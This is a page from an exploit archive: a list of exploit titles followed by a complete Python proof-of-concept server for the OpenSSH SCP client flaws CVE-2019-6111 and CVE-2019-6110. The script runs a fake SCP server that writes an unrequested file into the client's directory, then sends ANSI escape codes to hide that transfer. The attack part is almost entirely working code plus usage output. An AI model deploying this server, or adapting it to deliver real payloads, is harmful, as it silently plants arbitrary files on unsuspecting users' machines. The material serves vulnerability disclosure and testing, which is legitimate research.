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"OpenSSH SCP Client - Write Arbitrary Files"

Author

"Harry Sintonen"

Platform

multiple

Release date

2019-01-11

Release Date Title Type Platform Author
2019-03-21 "Rails 5.2.1 - Arbitrary File Content Disclosure" webapps multiple NotoriousRebel
2019-03-19 "Google Chrome < M73 - FileSystemOperationRunner Use-After-Free" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - MidiManagerWin Use-After-Free" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - Data Race in ExtensionsGuestViewMessageFilter" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - Double-Destruction Race in StoragePartitionService" dos multiple "Google Security Research"
2019-03-18 "BMC Patrol Agent - Privilege Escalation Code Execution Execution (Metasploit)" remote multiple Metasploit
2019-03-15 "NetData 1.13.0 - HTML Injection" webapps multiple s4vitar
2019-03-14 "Apache UNO / LibreOffice Version: 6.1.2 / OpenOffice 4.1.6 API - Remote Code Execution" remote multiple sud0woodo
2019-03-11 "Liferay CE Portal < 7.1.2 ga3 - Remote Command Execution (Metasploit)" webapps multiple AkkuS
2019-03-08 "OrientDB 3.0.17 GA Community Edition - Cross-Site Request Forgery / Cross-Site Scripting" webapps multiple "Ozer Goker"
2019-01-11 "OpenSSH SCP Client - Write Arbitrary Files" remote multiple "Harry Sintonen"
2018-03-28 "TeamCity < 9.0.2 - Disabled Registration Bypass" remote multiple allyshka
2019-10-25 "Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)" remote multiple allyshka
2019-03-01 "tcpdump < 4.9.3 - Multiple Heap-Based Out-of-Bounds Reads" dos multiple "Google Security Research"
2019-03-01 "Google Chrome < M72 - FileWriterImpl Use-After-Free" dos multiple "Google Security Research"
2019-03-01 "Google Chrome < M72 - Use-After-Free in RenderProcessHostImpl Binding for P2PSocketDispatcherHost" dos multiple "Google Security Research"
2019-03-01 "Google Chrome < M72 - RenderFrameHostImpl::CreateMediaStreamDispatcherHost Use-After-Free" dos multiple "Google Security Research"
2019-03-01 "Google Chrome < M72 - PaymentRequest Service Use-After-Free" dos multiple "Google Security Research"
2019-02-22 "Quest NetVault Backup Server < 11.4.5 - Process Manager Service SQL Injection / Remote Code Execution" webapps multiple "Chris Anastasio"
2019-02-22 "WebKit JSC - reifyStaticProperty Needs to set the PropertyAttribute::CustomAccessor flag for CustomGetterSetter" dos multiple "Google Security Research"
2019-02-18 "Comodo Dome Firewall 2.7.0 - Cross-Site Scripting" webapps multiple "Ozer Goker"
2019-02-18 "ArangoDB Community Edition 3.4.2-1 - Cross-Site Scripting" webapps multiple "Ozer Goker"
2019-02-18 "Apache CouchDB 2.3.0 - Cross-Site Scripting" webapps multiple "Ozer Goker"
2019-02-18 "M/Monit 3.7.2 - Privilege Escalation" webapps multiple "Dolev Farhi"
2019-02-11 "Indusoft Web Studio 8.1 SP2 - Remote Code Execution" remote multiple "Jacob Baines"
2019-02-06 "Skia - Incorrect Convexity Assumptions Leading to Buffer Overflows" dos multiple "Google Security Research"
2019-02-04 "pfSense 2.4.4-p1 - Cross-Site Scripting" webapps multiple "Ozer Goker"
2019-02-04 "Nessus 8.2.1 - Cross-Site Scripting" webapps multiple "Ozer Goker"
2019-01-31 "macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics" dos multiple "Google Security Research"
2019-01-31 "macOS < 10.14.3 / iOS < 12.1.3 XNU - 'vm_map_copy' Optimization which Requires Atomicity isn't Atomic" dos multiple "Google Security Research"
Release Date Title Type Platform Author
2019-01-11 "OpenSSH SCP Client - Write Arbitrary Files" remote multiple "Harry Sintonen"
2017-04-07 "QNAP TVS-663 QTS < 4.2.4 build 20170313 - Command Injection" webapps cgi "Harry Sintonen"
2018-05-06 "GNU wget - Cookie Injection" local linux "Harry Sintonen"
2011-02-03 "VideoLAN VLC Media Player 1.1 - Subtitle 'StripTags()' Memory Corruption" dos multiple "Harry Sintonen"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46516/?format=json')
For full documentation follow the link above

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'''
Title:     SSHtranger Things
Author:    Mark E. Haase <mhaase@hyperiongray.com>
Homepage:  https://www.hyperiongray.com
Date:      2019-01-17
CVE:       CVE-2019-6111, CVE-2019-6110
Advisory:  https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt
Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1

We have nicknamed this "SSHtranger Things" because the bug is so old it could be
exploited by an 8-bit Demogorgon. Tested on Python 3.6.7 and requires `paramiko`
package.

The server listens on port 2222. It accepts any username and password, and it
generates a new host key every time you run it.

    $ python3 sshtranger_things.py

Download a file using a vulnerable client. The local path must be a dot:

    $ scp -P 2222 foo@localhost:test.txt .
    The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
    RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w.
    Are you sure you want to continue connecting (yes/no)? yes
    Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts.
    foo@localhost's password:
    test.txt                                       100%   32     0.7KB/s   00:00

The file you requested (e.g. test.txt) will be saved in your current directory.
If your client is vulnerable, you will have an additional file "exploit.txt"
created in your current directory.

    $ cat test.txt
    This is the file you requested.
    $ cat exploit.txt
    SSHtranger Things

The interesting code is in ScpServer.send_file().
'''
import base64
import gzip
import logging
import paramiko
import paramiko.rsakey
import socket
import threading

logging.basicConfig(level=logging.INFO)

dummy = 'This is the file you requested.\n'
payload = gzip.decompress(base64.b64decode(
    b'H4sIAAa+QFwC/51VQW4CMQy85xV+AX+qqrZwoFSo0orbHvbQQw9NIiH1Af0YLyndjZ2x46'
    b'ygaIGs43jGTjIORJfzh3nIN/IwltH1b+LHeGdxHnXUsoCWD6yYyjt7AfA1XJdLDR8u5yRA'
    b'1/lEjiHbHGafXOMVpySuZaH4Jk1lgjxoocN5YMhRoNhhpA5EWMhlRHBNCWogZYhOnmk2V7'
    b'C4FJgwHxKSEwEzTskrQITtj1gYIurAhWUfsDbWIFyXlRwDc8okeZkCzNyjlMmcT4wxA39d'
    b'zp8OsJDJsGV/wV3I0JwJLNXKlOxJAs5Z7WwqmUZMPZmzqupttkhPRd4ovE8jE0gNyQ5skM'
    b'uVy4jk4BljnYwCQ2CUs53KtnKEYkucQJIEyoGud5wYXQUuXvimAYJMJyLlqkyQHlsK6XLz'
    b'I6Q6m4WKYmOzjRxEhtXWBA1qrvmBVRgGGIoT1dIRKSN+yeaJQQKuNEEadONJjkcdI2iFC4'
    b'Hs55bGI12K2rn1fuN1P4/DWtuwHQYdb+0Vunt5DDpS3+0MLaN7FF73II+PK9OungPEnZrc'
    b'dIyWSE9DHbnVVP4hnF2B79CqV8nTxoWmlomuzjl664HiLbZSdrtEOdIYVqBaTeKdWNccJS'
    b'J+NlZGQJZ7isJK0gs27N63dPn+oefjYU/DMGy2p7en4+7w+nJ8OG0eD/vwC6VpDqYpCwAA'
))

class ScpServer(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_auth_password(self, username, password):
        logging.info('Authenticated with %s:%s', username, password)
        return paramiko.AUTH_SUCCESSFUL

    def check_channel_request(self, kind, chanid):
        logging.info('Opened session channel %d', chanid)
        if kind == "session":
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_channel_exec_request(self, channel, command):
        command = command.decode('ascii')
        logging.info('Approving exec request: %s', command)
        parts = command.split(' ')
        # Make sure that this is a request to get a file:
        assert parts[0] == 'scp'
        assert '-f' in parts
        file = parts[-1]
        # Send file from a new thread.
        threading.Thread(target=self.send_file, args=(channel, file)).start()
        return True

    def send_file(self, channel, file):
        '''
        The meat of the exploit:
            1. Send the requested file.
            2. Send another file (exploit.txt) that was not requested.
            3. Print ANSI escape sequences to stderr to hide the transfer of
               exploit.txt.
        '''
        def wait_ok():
            assert channel.recv(1024) == b'\x00'
        def send_ok():
            channel.sendall(b'\x00')

        wait_ok()

        logging.info('Sending requested file "%s" to channel %d', file,
            channel.get_id())
        command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii')
        channel.sendall(command)
        wait_ok()
        channel.sendall(dummy)
        send_ok()
        wait_ok()

        # This is CVE-2019-6111: whatever file the client requested, we send
        # them 'exploit.txt' instead.
        logging.info('Sending malicious file "exploit.txt" to channel %d',
            channel.get_id())
        command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii')
        channel.sendall(command)
        wait_ok()
        channel.sendall(payload)
        send_ok()
        wait_ok()

        # This is CVE-2019-6110: the client will display the text that we send
        # to stderr, even if it contains ANSI escape sequences. We can send
        # ANSI codes that clear the current line to hide the fact that a second
        # file was transmitted..
        logging.info('Covering our tracks by sending ANSI escape sequence')
        channel.sendall_stderr("\x1b[1A".encode('ascii'))
        channel.close()

def main():
    logging.info('Creating a temporary RSA host key...')
    host_key = paramiko.rsakey.RSAKey.generate(1024)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('localhost', 2222))
    sock.listen(0)
    logging.info('Listening on port 2222...')

    while True:
        client, addr = sock.accept()
        logging.info('Received connection from %s:%s', *addr)
        transport = paramiko.Transport(client)
        transport.add_server_key(host_key)
        server = ScpServer()
        transport.start_server(server=server)

if __name__ == '__main__':
    main()